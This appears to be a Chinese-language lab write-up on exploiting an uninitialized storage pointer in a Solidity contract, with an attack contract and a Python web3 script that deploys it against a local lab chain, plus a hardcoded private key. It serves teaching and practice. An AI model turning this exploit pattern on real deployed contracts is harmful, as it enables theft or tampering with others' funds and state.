区块链安全

未初始化的存储指针实战一

实验目的

学会使用python3的web3模块
学会分析以太坊智能合约未初始化的存储指针漏洞
找到合约漏洞进行分析并形成利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

在solidity语言中，像动态的数组、struct、mapping这样的复杂数据结构是不能直接在”栈”里面保存的，因为”栈”里只能保存单独的”字”，也就是只能保存实际数据长度小于等于32字节的简单数据类型。所以在solidity智能合约函数中声明动态数组和struct时，必须明确指明其位置在storage还是memory中。
在函数内部，mapping类型则不能作为临时变量使用，只能作为某个状态变量的”储存指针”，也就是mapping类型必须在编译时进行预先初始化，而不能作为运动时产生的数据。如果智能合约函数声明了临时的动态数组或者sturct，而没有指定“位置”，且没有进行初始化，那么这些变量将默认存储在storage。
未初始化的存储指针是指在 EVM 中未进行初始化的 storage 变量，这个变量会指向其他变量的区域，从而更改其他变量的值。
实验内容
合约中内置了结构体未初始化的存储指针问题，找到合约漏洞并形成利用，把合约中的flag变量设置为true即可
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10007

实验过程

获取合约地址和合约源代码
nc ip 10007连接到题目，输入1，获取部署合约的game account及token

打开http://ip，输入上述分配的game account，点击Request获取eth

nc ip 10007连接到题目，输入2，获取部署合约的地址及new token

nc ip 10007连接到题目，输入4，获取合约源代码，或者在题目附件找到合约源代码

分析合约源代码漏洞
题目要求将合约中的flag变量设置为true，分析代码，并未见到直接可将flag设置为true的代码

典型的利用 struct 默认是 storage 的题目，struct在函数中未明确指明是memory变量，则其是storage变量，声明的变量默认从slot 0开始存储
函数中声明的 newRecord 结构体修改 name 和 mappedAddress 实际分别改的是 unlocked 和 bytes32 name
所以把 name 对应的 slot 0 的值改成 1 就行了
EXP利用
编写第三方攻击合约attack.sol，将下述ETH7地址换成自己题目合约的地址，调用目标合约的register(1, tx.origin)
pragma solidity ^0.4.23;

contract hack {
ETH7 target = ETH7(0x5cb6e41CEB6b8D41C238539EA0484Bd988f5CEb6);
constructor() public {
target.register(1, tx.origin);
}
}

用python编写自动化exp，功能包括部署攻击合约得到攻击合约地址，在攻击合约的构造函数中完成攻击

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import time

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address = "0x5cb6e41CEB6b8D41C238539EA0484Bd988f5CEb6"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_receipt

set_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:
    SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:hack']

txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)
flag = w3.eth.get_storage_at(contract_address, 0).hex()
print(flag)

执行exp

nc ip 10007连接到题目，输入3，输入之前的new token，获取flag